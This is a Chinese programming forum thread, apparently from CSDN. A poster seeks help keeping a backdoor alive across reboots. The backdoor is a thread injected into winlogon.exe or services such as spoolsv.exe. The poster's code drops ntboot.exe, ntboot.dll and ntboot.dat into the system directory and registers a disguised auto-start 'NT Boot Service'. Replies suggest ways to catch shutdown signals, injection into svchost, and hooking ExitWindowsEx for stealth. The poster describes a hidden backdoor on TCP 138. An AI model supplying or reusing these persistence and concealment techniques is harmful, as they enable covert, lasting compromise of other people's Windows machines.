参考农民的文章,他说做SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);建立键盘钩子截获0xFF一键关机键,再用SetConsoleCtrlHandler(HandlerRoutine,1);判断dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT来截获关闭程序或者关机时的控制信号。
引用:
系统被关闭一般有三种情况:正常关机,掉电(不正常关机),一键关机(按下power).
对于正常关机,程序会收到CTRL_SHUTDOWN_EVENT的信号,一键关机,可以简单的使用钩子
但掉电(不正常关机)老农实在想不出办法。好在一般的nt服务器很少这种情况。
这是我的代码:
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam){void resume();
if(code<0){return CallNextHookEx(msghook,code,wParam,lParam);}
if(code==HC_ACTION){
    EVENTMSG * pevent=(EVENTMSG *)lParam;
    if(pevent->message==WM_KEYDOWN && LOBYTE(pevent->paramL)==0xFF){resume();}
}
return CallNextHookEx(msghook,code,wParam,lParam);
}BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
    if(dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT){resume();return 0;}
return 0;
}DWORD WINAPI hookthread( LPVOID lpParam ){MSG msg;
LRESULT CALLBACK JournalRecordProc(int code,WPARAM wParam,LPARAM lParam);
BOOL WINAPI HandlerRoutine(DWORD dwCtrlType);
msghook=SetWindowsHookEx(WH_JOURNALRECORD,JournalRecordProc,GetModuleHandle(0),0);
//if(!msghook){MessageBox(0,itoa(GetLastError(),tmpstr,10),0,0);}
SetConsoleCtrlHandler(HandlerRoutine,1);
//if(!tmpret){MessageBox(0,itoa(GetLastError(),tmpstr,10),0,0);}
while (GetMessage(&msg, NULL, 0, 0)){DispatchMessage(&msg);}
UnhookWindowsHookEx(msghook);return 0;
}//resume two files and the service
void resume(){MessageBeep(0);MessageBeep(0);MessageBeep(0);
char syspath[256];int ret;DWORD bytesread;
ret=GetSystemDirectory(syspath,256);
HANDLE delfp=CreateFile(strcat(syspath,"\\ntboot.exe"),GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(delfp,memloader,sizeloader,&bytesread,0);CloseHandle(delfp);ret=GetSystemDirectory(syspath,256);
delfp=CreateFile(strcat(syspath,"\\ntboot.dll"),GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(delfp,memdll,sizedll,&bytesread,0);CloseHandle(delfp);ret=GetSystemDirectory(syspath,256);
delfp=CreateFile(strcat(syspath,"\\ntboot.dat"),GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
WriteFile(delfp,pwd,strlen(pwd),&bytesread,0);CloseHandle(delfp);SC_HANDLE schSCManager;
schSCManager=OpenSCManager(0,NULL,SC_MANAGER_ALL_ACCESS);
CreateService(schSCManager,"NtBoot","NT Boot Service",SERVICE_ALL_ACCESS,
              SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS,SERVICE_AUTO_START,
                SERVICE_ERROR_IGNORE,"ntboot.exe",NULL,NULL,NULL,NULL,NULL); 
return;
}
发现在宿主程序正常结束时可以得到通知,但是重启,关机以及宿主程序被强行终止时都得不到消息(没有MessageBeep)。
给农民前辈发了邮件但无回音。希望大家指点怎样截获关机的消息,否则只要重起一次,后门就没有了,惨啊!先谢谢了! 

解决方案 »

  1.   

    进程被强行终止时应该不会收到消息。但普通的通过“开始”菜单关机、重启过程,窗口都应该会收到CLOSE消息吧,否则编辑器怎么可能询问你是否保存未存盘的工作呢? 在记事本,WORD等GUI程序中的确可以获得关机消息。按照MSDN说的,我那个例子代码也应该可以获得CONSOLE下的关机消息。但是的确没有能截获。我后来又写了一个更简单的例子程序,排除原来各种因素的影响:
    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock2.h>void resume(){MessageBox(0,0,0,0);}BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
        if(dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT){resume();return 0;}
    return 0;
    }int main(int argc, char* argv[])
    {
        printf("Hello World!\n");
        SetConsoleCtrlHandler(HandlerRoutine,1);
        while(1){Sleep(100);}
        return 0;
    }但是仍然得不到关机消息,没有出现对话框。而如果同时开着一个未存盘的记事本,它可以得到消息来询问,而我这个程序直接被终止了什么都没发生。晕啊,求教。 对了,补充一句,关闭程序时消息能收到并显示对话框。重起/关机不行。 
      

  2.   

    让窗口响应WM_QUERYENDSESSION/WM_ENDSESSION
      

  3.   

    晕,我只是console程序的一个线程
      

  4.   

    实际是一个远程注射到其他console程序中的线程
      

  5.   

    不过后来那个简化的例子程序是一个单独的console进程,但也不能得到关机消息。
      

  6.   

    用WIN32SDK重写吧,一样的。
    然后响应
    LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam, LPARAM lParam)
    {
    PAINTSTRUCT ps;
    HDC hdc; switch (message) 
    {
    case WM_QUERYENDSESSION:
    case WM_ENDSESSION:
    //。。
    break;
    }
      

  7.   

    哪位能解释一下这个为什么不行?
    #include <stdio.h>
    #include <stdlib.h>
    #include <winsock2.h>void resume(){MessageBox(0,0,0,0);}BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){void resume();
        if(dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT){resume();return 0;}
    return 0;
    }int main(int argc, char* argv[])
    {
        printf("Hello World!\n");
        SetConsoleCtrlHandler(HandlerRoutine,1);
        while(1){Sleep(100);}
        return 0;
    }SetConsoleCtrlHandler这个consoleAPI是专门给console程序用的啊
      

  8.   

    现在发现后面那个简化的代码得不到关机消息是因为在user logoff的时候就被关闭了,所以等不到关机的时候。
    但是开头那个代码是注射到winlogon.exe中的线程,logoff时不会被终止,为什么也不能得到关机消息呢?
    向高手求助。
      

  9.   

    现在发现后面那个简化的代码得不到关机消息是因为在user logoff的时候就被关闭了,所以等不到关机的时候。
    但是开头那个代码是注射到winlogon.exe中的线程,logoff时不会被终止,是服务线程,为什么也不能得到关机消息呢?
      

  10.   

    SetConsoleCtrlHandler(HandlerRoutine,1);
    BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){
        if(dwCtrlType==CTRL_SHUTDOWN_EVENT || dwCtrlType==CTRL_CLOSE_EVENT){dosomething();return 0;}
      

  11.   

    如果一个rundll32启动的进程/线程如何获知当前用户退出系统、系统关闭的消息呢
      

  12.   

    现在又写了一个实验用的服务,这个服务实现在获得CTRL_SHUTDOWN_EVENT信号时做一些文件操作,实验一下哪些文件操作可以实现。
    BOOL WINAPI ConsoleHandler(DWORD CEvent)
    {switch(CEvent)
    {
    case CTRL_LOGOFF_EVENT://用户注销一次这个会调用两次
    CreateFile("d:\\d.d",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    /*MessageBox(NULL,
    "User is logging off!","CEvent",MB_OK);*///有这个东西下面的d.dsh就不会创建成功,就是说不能做任何有关UI的操作CTRL_SHUTDOWN_EVENT里也是
    break;
    case CTRL_SHUTDOWN_EVENT:
    HANDLE tmph=CreateFile("d:\\d.dsh",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    CloseHandle(tmph);
    CopyFile("d:\\sinstallnt.zip","d:\\d.dsh",0);
    //拷贝一个2M文件成功。试图拷贝一个500M电影失败,文件创建了,长度也设置了但是内容不对。
    break;}
    return 0;
    }
    经过N长时间痛苦的实验,重启2000serverN次后终于得到以上结论,就是还是能来得及做一些文件操作的。
    但是下面,我又把那个注射进winlogon的线程的代码简化了一下,只是让它在获得CTRL_SHUTDOWN_EVENT信号时创建一个空文件
    BOOL WINAPI HandlerRoutine(DWORD dwCtrlType){
    switch(dwCtrlType)
    {
    case CTRL_SHUTDOWN_EVENT:
    CreateFile("d:\\ndfot.l",GENERIC_WRITE,0,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0);
    break;
    default:
    break;
    }
    return 0;
    }
    郁闷的是连这个都不能创建成功。那么我觉得只有一个合理的解释就是winlogon.exe中的这个线程根本没有收到信号,    HandlerRoutine根本没有执行。
    很奇怪那么cmdbind2怎么会成功呢?大家来讨论一下,看看我是不是哪里分析错了。 
      

  13.   

    你可以在case CTRL_LOGOFF_EVENT:后面插入DebugBreak();
    通过Softice跟入就可以知道是否能调用到了。
    说不定正如你所说,Winlogon根本不会收到CTRL_SHUTDOWN_EVENT信号。
    我猜测Winlogon是产生CTRL_SHUTDOWN_EVENT信号而本身是不接受它的。
    一家之言,达人们继续讨论。
      

  14.   

    wangk(倒之) :
    做过实验了,的确如你所言。我的猜测正确。那么现在SetConsoleCtrlHandler不能用了,你有没有什么方法或者建议?
    PS:不要说APIHOOK。这个东西现在我不想涉及,将来吧。
      

  15.   

    The service is notified when system shutdown occurs. 
    This control code allows the service to receive SERVICE_CONTROL_SHUTDOWN notifications. 根据MS的说法,在系统关闭的时候,Service会收到SERVICE_CONTROL_SHUTDOWN 的通知
    你可以尝试在Server Ctrl Handler里面尝试处理这个通知。你试一下吧,我没试过 ^-^
      

  16.   

    我是注射到winlogon里的线程,不是服务,只是“服务级线程”,呵呵
      

  17.   

    我的意思是说,你既然能够注射到winlogon里,就应该有权限安装一个Sevice.
    然后由这个自己写的Sevice来通知你的程序啊。这样因该比注射到winlogon来通知你来的安全。
      

  18.   

    倒之…………
    我为什么要注射winlogon不就是为了后门隐蔽吗,你又让我注册一个服务……
    郁闷……
      

  19.   

    哎呀!好疼,我错了。别拿鸡蛋砸我......
    那么,你可以注射到Svchost.exe这个进程,他可以收到CTRL_SHUTDOWN_EVENT。而且它也是系统关键进程哦。
    在不然的话,你读系统日志好了,系统正常、非正常关机里面都有记录。
      

  20.   

    Svchost.exe收不到CTRL_SHUTDOWN_EVENT,做了实验了
      

  21.   

    我想关机是没有消息(信息)的,记事本也只是收到WM_CLOSE消息而做的处理。
      

  22.   

    不,据我所知,记事本是处理WM_ENDSESSSION消息的。
    我看了一下,Winlogon有调用ExitWindowsEx函数,你可以采用Hook API的方法,处理Wilogon的调用,并把他记录。不知道可不可行。
      

  23.   

    大家好。经过几天的SICE调试,请教和实验,目前基本上弄明白了这个问题。于是后门也就写出来了。但是没有达到完全的设计目标。和大家讨论一下我的实验结果。receive shutdown signal
    4  ways:
    1 SetConsoleCtrlHandler(donot need msg queue)2 receive wm_queryendsession(need to register wnd class and msgqueue)3 SetWindowsHookEx WH_JOURNALRECORD hook shutdownkey 0xff(need a msg queue but do not receive msg from GetMessage,maybe windows automatically call the CALLBACK)4 SetWindowsHookEx WH_JOURNALRECORD hook any process receive wm_queryendsession(same to 3)基本思路就是用以上的4种方法来获得关机消息。
    关于第一种,系统支持进程(winlogon,svchost等)无法获取,这是用SICE截程序中预先下的断点得知的。但是所有CUI的系统服务(如spoolsv.exe)都可以获取,自己定义的服务也行。
    第二种,根据谷夕(gxisone)的实验只有注册了窗口类的GUI程序才能获得。CUI的系统服务我没有去试,但是试过了winlogon和svchost不行,也就是冰哥说的那种方法不行。
    第三和第四种,令我们非常郁闷的是,这个SetWindowsHookEx WH_JOURNALRECORD 产生的钩子在系统支持进程中经过实验根本无效。我试了一个最简单的键盘钩子,当按下“b”键时一个MessageBeep(0),在任何CUI或者GUI的程序中都可以成功但是在系统支持进程中完全没有反应。因此得出结论就是在注射到系统支持进程(winlogon,svchost)中的线程没有我知道的方法能获取关机消息。HOOKAPI    ZwShutdownSystem除外,但是我是初学者,只学了一年多点编程,现在仍然在ring3转悠,暂时不考虑这个方案。:)
    所以现在这个后门只能注射象spoolsv.exe之类的普通系统服务。但是的确实现了ring3代码后门的无进程无DLL无文件无启动项,还是比较隐蔽的。现在把端口绑在了TCP138,等我做好了无端口的新版本,我会在安焦发布原代码的,到时候希望高手们指点一下后进生:)
    大家如果有不同的实验结果,请赶快跟帖,我水平有限,难免出错:)
      

  24.   

    LRESULT CRecordDlg::WindowProc(UINT message, WPARAM wParam, LPARAM lParam) 
    {
    // TODO: Add your specialized code here and/or call the base class
    if(message == WM_ENDSESSION)//关闭消息
    {  
    //||(lParam==EWX_SHUTDOWN)||(lParam==EWX_REBOOT)||(lParam==EWX_FORCE)||(lParam==EWX_POWEROFF)                              if(lParam == ENDSESSION_LOGOFF)
    {
    AfxMessageBox("2");
    return 0;
    }
    if(wParam)
    {
    AfxMessageBox("4");
    return 0;
    }
    }
    // AfxMessageBox("1");
    return CDialog::WindowProc(message, wParam, lParam);
    }
      

  25.   

    大家好。经过几天的SICE调试,请教和实验,目前基本上弄明白了这个问题。于是后门也就写出来了。但是没有达到完全的设计目标。和大家讨论一下我的实验结果。receive shutdown signal
    4  ways:
    1 SetConsoleCtrlHandler(donot need msg queue)2 receive wm_queryendsession(need to register wnd class and msgqueue)3 SetWindowsHookEx WH_JOURNALRECORD hook shutdownkey 0xff(need a msg queue but do not receive msg from GetMessage,maybe windows automatically call the CALLBACK)4 SetWindowsHookEx WH_JOURNALRECORD hook any process receive wm_queryendsession(same to 3)基本思路就是用以上的4种方法来获得关机消息。
    关于第一种,系统支持进程(winlogon,svchost等)无法获取,这是用SICE截程序中预先下的断点得知的。但是所有CUI的系统服务(如spoolsv.exe)都可以获取,自己定义的服务也行。
    第二种,根据谷夕(gxisone)的实验只有注册了窗口类的GUI程序才能获得。CUI的系统服务我没有去试,但是试过了winlogon和svchost不行,也就是冰哥说的那种方法不行。
    第三和第四种,令我们非常郁闷的是,这个SetWindowsHookEx WH_JOURNALRECORD 产生的钩子在系统支持进程中经过实验根本无效。我试了一个最简单的键盘钩子,当按下“b”键时一个MessageBeep(0),在任何CUI或者GUI的程序中都可以成功但是在系统支持进程中完全没有反应。因此得出结论就是在注射到系统支持进程(winlogon,svchost)中的线程没有我知道的方法能获取关机消息。HOOKAPI    ZwShutdownSystem除外,但是我是初学者,只学了一年多点编程,现在仍然在ring3转悠,暂时不考虑这个方案。:)
    所以现在这个后门只能注射象spoolsv.exe之类的普通系统服务。但是的确实现了ring3代码后门的无进程无DLL无文件无启动项,还是比较隐蔽的。现在把端口绑在了TCP138,等我做好了无端口的新版本,我会在安焦发布原代码的,到时候希望高手们指点一下后进生:)
    大家如果有不同的实验结果,请赶快跟帖,我水平有限,难免出错:)重发一次,大家都用的那种方法,就是我说的第二种,是只有注册了窗口类的GUI程序才能获得的。
      

  26.   

    其实,据我所知还有一种基于可执行文件IAT表(Import Address Tab)替换的,Hook API技术。
    并不困难,只影响某个可执行文件,不干扰系统的API.虽然说ExitWindowsEx调用了ZwShutdownSystem,但是我们没有必要用内核级Hook啊。我的想法是可以给winlogon打上个内存补丁。不过,未经检验,不知道可不可行。
      

  27.   

    基于可执行文件IAT表(Import Address Tab)替换的,Hook API技术:
    http://www.yesky.com/SoftChannel/72342376173010944/20031029/1739954_5.shtml
    对了,如果有什么其他有趣的讨论题目,可以给我发短消息啊。
      

  28.   

    "只影响某个可执行文件,不干扰系统的API"
    那样如果是其他程序调用ExitWindowsEx关机就不能写入启动键了。
    不去HOOK ZwShutdown也行,但是也要对所有进程HOOK ExitWindowsEx啊,都是内核级的,难度差不多。
    你说的那种基于可执行文件IAT表(Import Address Tab)替换的,Hook API技术,《windows核心编程》上有,也可以做到HOOK所有进程,不过动作和代价都太大了,而且会被轻易绕过,还不如直接作内核级的HOOK。
      

  29.   

    对了,哪位朋友可以和我在线讨论,QQ51449276,注明CSDN:)
      

  30.   

    不用做到HOOK所有进程,只要Hook winlogon.exe的就可以了。我在Xp下测试时,任何一个程序调用ExitWindowsEx都会引起winlogon.exe的调用啊,2000估计也差不多吧。
      

  31.   

    "任何一个程序调用ExitWindowsEx都会引起winlogon.exe的调用啊"
    什么意思啊,是说其他程序调用ExitWindowsEx都会先把控制权转到winlogon,winlogon又调用ExitWindowsEx吗?不太可能啊,其他程序调用ExitWindowsEx都会先把控制权转到winlogon,winlogon又调用ZwShutDown还有些可能:)
      

  32.   

    我的意思是说,我编写了一个调用ExitWindowsEx进行Shutdown的程序,然后在ExitWindowsEx的系统入口下了断点,执行结果发现,ExitWindowsEx被调用好多次,其中包括被我的程序和winlogon.exe,还有一个什么System Fram之流的东东??。当然Xp系统下面的。所以我建议你测试一下2000下Hook winlogon.exe的ExitWindowsEx,会不会其他程序的ExitWindowsEx调用也会引起winlogon.exe调用ExitWindowsEx。